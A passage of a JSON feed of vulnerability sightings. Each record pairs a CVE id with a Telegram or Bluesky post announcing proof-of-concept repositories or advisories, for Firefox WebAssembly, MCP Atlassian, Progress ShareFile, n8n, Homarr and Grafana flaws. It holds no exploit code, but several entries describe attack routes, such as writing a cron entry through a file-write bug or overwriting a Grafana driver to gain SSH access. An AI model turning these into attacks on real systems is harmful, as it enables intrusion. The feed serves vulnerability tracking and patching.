"2026-07-17T00:00:53.244343Z"}, {"uuid": "b8d63e7c-2f2a-423d-9a68-bb6ae45a5741", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/93476", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a HTB-Snapped-Writeup\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Cosm3No1de\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a HTML\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-15 05:51:41\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWriteup de la m\u00e1quina Snapped (Hard) de Hack The Box.  Foothold: CVE-2026-27944 \u2014 Nginx UI unauthenticated backup disclosure Privilege Escalation: CVE-2026-3888 \u2014 snapd race condition LPE  T\u00e9cnicas: subdomain enumeration, AES decryption, bcrypt cracking, namespace manipulation, dynamic linker hijacking.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-17T00:00:53.290521Z"}, {"uuid": "9ddbdf63-c8f1-45e1-a1f3-d34879ad7585", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "Telegram/FQL6DrIMIgpMu6Z1hrZUBbpGf77bW_7MEN85EjnceyJMn0Y", "content": "", "creation_timestamp": "2026-07-17T01:00:19.803003Z"}, {"uuid": "fc34650f-8aee-4f81-8fbc-541c0829fc83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27825", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/388", "content": "CVE-2026-27825\n\nMCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, the confluence_download_attachment MCP tool accepts a download_path parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to /etc/cron.d/ achieves code execution within one scheduler cycle with no server restart required). Version 0.17.0 fixes the issue.", "creation_timestamp": "2026-08-28T00:00:32.111275Z"}, {"uuid": "67bc42bb-a9fb-402c-ab9b-4f9a6041fe95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2796", "type": "seen", "source": "https://bsky.app/profile/oxfemale.bsky.social/post/3mqtdh6hrsp22", "content": "Original text: \"Reverse engineering Claude\u2019s CVE-2026-2796 exploit\" \u2014 Evyatar Ben Asher, Keane Lucas, Nicholas Carlini, Newton Cheng, and Daniel Freeman, Anthropic Frontier Red Team (6\u00a0March\u00a02026).\nhttps://core-jmp.org/2026/07/cve-2026-2796-claude-firefox-webassembly-exploit/", "creation_timestamp": "2026-07-17T08:29:19.598843Z"}, {"uuid": "de2ee1f2-3d18-434b-a088-e0223f8d2bbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27626", "type": "published-proof-of-concept", "source": "Telegram/GUVwrz9b9Ug_knDvSUJf3Tbi3zEtQJMShrvy8E-4r1bK888", "content": "", "creation_timestamp": "2026-07-18T00:00:08.386116Z"}, {"uuid": "e07c3c20-0f1b-4c23-8ada-084799b9eb3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://t.me/DarkArmyChannel/5764", "content": "New Progress ShareFile Flaws Expose Servers to Unauthorized Remote Takeover\n\nSecurity researchers at watchTowr Labs have disclosed a critical exploit chain in the Progress ShareFile Storage Zone Controller.\n\nThe vulnerabilities, tracked as CVE-2026-2699 and CVE-2026-2701, enable unauthenticated attackers to achieve Remote Code Execution (RCE) and completely compromise vulnerable servers.\n\nWith roughly 30,000 instances exposed to the public internet, organizations are urged to patch immediately to prevent catastrophic data breaches.\n\nManaged file transfer (MFT) solutions remain a top target for advanced persistent threat (APT) groups and ransomware syndicates.\n\nFollowing historic breaches involving tools like MOVEit, Cleo Harmony, and GoAnywhere, threat actors continuously hunt for unpatched data-sharing gateways.\n\nSee more here \ud83d\udc4b", "creation_timestamp": "2026-07-17T19:00:03.194594Z"}, {"uuid": "679fe5fc-7e06-4424-91b2-32c7c7cdc0cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27172", "type": "published-proof-of-concept", "source": "Telegram/G9HreL550hRAFaAR8qW2BMwez1E27QUu1xHndCMIzM5T1KA", "content": "", "creation_timestamp": "2026-07-18T00:00:23.478479Z"}, {"uuid": "1c11a65d-9ee3-49c2-ac21-1ba576a0887a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "published-proof-of-concept", "source": "Telegram/FQL6DrIMIgpMu6Z1hrZUBbpGf77bW_7MEN85EjnceyJMn0Y", "content": "", "creation_timestamp": "2026-07-18T00:00:22.688319Z"}, {"uuid": "7e15e389-1faa-46fd-9507-5a89d94e4d2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://t.me/DarkArmyChannel/5764", "content": "New Progress ShareFile Flaws Expose Servers to Unauthorized Remote Takeover\n\nSecurity researchers at watchTowr Labs have disclosed a critical exploit chain in the Progress ShareFile Storage Zone Controller.\n\nThe vulnerabilities, tracked as CVE-2026-2699 and CVE-2026-2701, enable unauthenticated attackers to achieve Remote Code Execution (RCE) and completely compromise vulnerable servers.\n\nWith roughly 30,000 instances exposed to the public internet, organizations are urged to patch immediately to prevent catastrophic data breaches.\n\nManaged file transfer (MFT) solutions remain a top target for advanced persistent threat (APT) groups and ransomware syndicates.\n\nFollowing historic breaches involving tools like MOVEit, Cleo Harmony, and GoAnywhere, threat actors continuously hunt for unpatched data-sharing gateways.\n\nSee more here \ud83d\udc4b", "creation_timestamp": "2026-07-18T00:00:23.126658Z"}, {"uuid": "b0158305-920d-4e01-afc2-3bba331bc862", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27495", "type": "published-proof-of-concept", "source": "Telegram/WJgDEVvvwZT8TXY2pma_02HCN-ESFf4o1lNskkGLthlTjbc", "content": "", "creation_timestamp": "2026-07-18T00:00:40.777241Z"}, {"uuid": "945756b5-00c1-404c-b635-f977313adf34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "published-proof-of-concept", "source": "Telegram/3-f3T699faM2V8GAx3PaWwSzZJ-9InBgGoYDARGL4I5_EwQ", "content": "", "creation_timestamp": "2026-07-18T02:00:06.439711Z"}, {"uuid": "0711d23c-3eb1-4e8f-b143-fca8989d8d1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://t.me/cve0day/274", "content": "Headline: CISA Flags Actively Exploited n8n RCE Bug as 24,700 Instances Remain Exposed\n\nSummary: The article details a critical remote code execution (RCE) vulnerability (CVE-2025-68613) in the n8n workflow automation platform, added to CISA's Known Exploited Vulnerabilities (KEV) catalog due to active exploitation. The flaw, patched in n8n versions 1.120.4 and later, allows authenticated attackers to execute arbitrary code with host privileges, risking full instance compromise. Over 24,700 unpatched instances remain exposed globally, with significant numbers in North America and Europe. CISA's inclusion follows n8n's disclosure of another critical flaw (CVE-2026-27577) in the same system. Federal agencies under a Binding Operational Directive must patch systems by March 25, 2026, to address risks of data theft, workflow tampering, or system-level access via unmitigated exploitation.\n\nURL: https://thehackernews.com/2026/03/cisa-flags-actively-exploited-n8n-rce.html", "creation_timestamp": "2026-08-28T00:00:41.464216Z"}, {"uuid": "cd05eaaa-f08b-4528-a1e0-0370dc194f1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27579", "type": "seen", "source": "https://t.me/cve0day/257", "content": "CVE-2026-27579\n\nGitHub Link:\nhttps://github.com/AdityaBhatt3010/CVE-2026-27579-CORS-Misconfiguration-Leading-to-Authenticated-Data-Exposure", "creation_timestamp": "2026-08-28T00:00:41.917146Z"}, {"uuid": "ccf24431-adb8-4fab-bf73-bd67cb21c0e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27172", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/441", "content": "CVE-2026-27172", "creation_timestamp": "2026-08-28T00:00:37.188126Z"}, {"uuid": "b87e34f5-1696-4c39-82f3-c473980bc3d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/482", "content": "CVE-2026-27912\n\nImproper authorization in Windows Kerberos allows an authorized attacker to elevate privileges over an adjacent network.", "creation_timestamp": "2026-08-28T00:00:38.775253Z"}, {"uuid": "eaa3a65d-a8d4-4203-ad61-69917fb954a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27797", "type": "seen", "source": "https://t.me/cve0day/276", "content": "CVE-2026-27797\n\nHomarr is an open-source dashboard. Prior to version 1.54.0, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability allows a remote attacker to force the Homarr server to perform arbitrary outbound HTTP requests. This can be used as an internal network access primitive (e.g., reaching loopback/private ranges) from the Homarr host/container network context. This issue has been patched in version 1.54.0.\n\nhttps://github.com/homarr-labs/homarr/commit/91fc5a5c747121475a50f2713d571ceb89e95257", "creation_timestamp": "2026-08-28T00:00:41.550758Z"}, {"uuid": "fbafbefe-8791-4d5d-9479-e12adffec5ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "published-proof-of-concept", "source": "Telegram/3-f3T699faM2V8GAx3PaWwSzZJ-9InBgGoYDARGL4I5_EwQ", "content": "", "creation_timestamp": "2026-07-19T00:00:41.096770Z"}, {"uuid": "c79daf4e-ad13-4754-9ab6-2bce5fa13a8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2796", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/98861", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-2796-escape-wasm-by-using-wasm\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a SneakyNachos\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a JavaScript\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-20 02:42:58\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC exploit chain for CVE-2026-2796: SpiderMonkey WebAssembly sandbox escape (signature type confusion -> arbitrary R/W -> RCE)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-23T00:00:30.938587Z"}, {"uuid": "21fa1a88-a0c6-451e-8f3c-24f2bfb66988", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2796", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/98986", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-2796-and-CVE-2026-2768-escape-the-wasm-box\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a SneakyNachos\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a JavaScript\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-20 22:26:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nFull Firefox chain: CVE-2026-2796 wasm type confusion -> content-process RCE, plus CVE-2026-2768 parent-process escape analysis (both fixed in Firefox 148)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-23T00:00:31.210691Z"}, {"uuid": "9b6ed9ae-4804-4075-aee4-ea079e83fb16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2768", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/98986", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-2796-and-CVE-2026-2768-escape-the-wasm-box\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a SneakyNachos\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a JavaScript\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-20 22:26:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nFull Firefox chain: CVE-2026-2796 wasm type confusion -> content-process RCE, plus CVE-2026-2768 parent-process escape analysis (both fixed in Firefox 148)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-23T00:00:31.252179Z"}, {"uuid": "70d6984d-5346-4ca4-9092-f8ec49f5404c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "seen", "source": "https://t.me/critical_bug/1700", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 CVE-2026-27876: \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE \u0432 Grafana \u0447\u0435\u0440\u0435\u0437 SQL Expressions", "creation_timestamp": "2026-07-19T16:00:10.930481Z"}, {"uuid": "908c980b-61d5-4c4e-8ee7-73fb37ca07eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "seen", "source": "https://t.me/critical_bug/1701", "content": "\ud83d\udea8 CVE-2026-27876 \ud83d\udd34 CVSS: 9.1 Critical\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE \u0432 Grafana \u0447\u0435\u0440\u0435\u0437 SQL Expressions!\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 Viewer \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 SSH-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0432 \u043f\u043e\u0441\u0442\u0435 \u043d\u0438\u0436\u0435 \ud83d\udc47", "creation_timestamp": "2026-07-19T16:00:10.969721Z"}, {"uuid": "f5f818a8-c377-42df-bb6b-954849a7c238", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://t.me/critical_bug/1691", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440: Progress ShareFile Pre-Auth RCE Chain (CVE-2026-2699 & CVE-2026-2701)", "creation_timestamp": "2026-07-19T16:00:11.273292Z"}, {"uuid": "54cf2c1a-bcc0-465f-b7c6-2e0e72ceae5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://t.me/critical_bug/1689", "content": "\ud83d\udd25 \u0414\u0432\u043e\u0439\u043d\u043e\u0439 \u0443\u0434\u0430\u0440 \u043f\u043e Progress ShareFile: Pre-Auth RCE (CVE-2026-2699 + CVE-2026-2701) \ud83d\udd34\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0437\u0430\u0431\u044b\u043b\u0438 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442\u0430 \u2014 \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u043b\u044e\u0431\u043e\u0439 \u0436\u0435\u043b\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438. \ud83d\ude31\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u043c PDF! \ud83d\udc47\n\n#Progress #ShareFile #CVE #ZeroDay #RCE #critical_bug", "creation_timestamp": "2026-07-19T16:00:11.122021Z"}, {"uuid": "4689233e-0540-4c4a-a760-2c466ad308c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "seen", "source": "https://t.me/critical_bug/1702", "content": "\ud83d\udea8 \u041d\u043e\u0432\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Grafana: \u043e\u0442 SQL \u043a \u043f\u043e\u043b\u043d\u043e\u043c\u0443 \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u0445\u043e\u0441\u0442\u0430! \ud83d\udea8\n\nCVE-2026-27876 \ud83d\udd34 CVSS: 9.1 Critical\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 Grafana \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0438\u043b\u0438 \u043d\u0438\u0437\u043a\u043e\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 (RCE). \ud83d\ude31\n\n\ud83d\udca5 \u0421\u0443\u0442\u044c \u0431\u0430\u0433\u0430:\n\u0424\u0443\u043d\u043a\u0446\u0438\u044f sqlExpressions \u0432 Grafana \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0430 \u0434\u043b\u044f \u0442\u0440\u0430\u043d\u0441\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441\u0430 SQL. \u041e\u0434\u043d\u0430\u043a\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u044d\u0442\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a: \u043e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\ud83c\udfaf \u041a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442:\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u043f\u0440\u0430\u0432\u0430 Viewer (\u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430) \u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e sqlExpressions. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 SQL-\u0437\u0430\u043f\u0440\u043e\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044c \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 Sqlyze \u0438\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 AWS.\n\n\u041a\u043e\u0433\u0434\u0430 Grafana \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u044d\u0442\u043e\u0442 \u043f\u043b\u0430\u0433\u0438\u043d, \u043e\u043d\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u0434 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 Grafana. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0435 SSH-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0445\u043e\u0441\u0442\u043e\u043c! \ud83e\udd2f\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441?\n1\ufe0f\u20e3 \u041d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 Grafana \u0434\u043e \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 (12.4.2, 12.3.6, 12.2.8, 12.1.10, 11.6.14).\n2\ufe0f\u20e3 \u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044e sqlExpressions \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 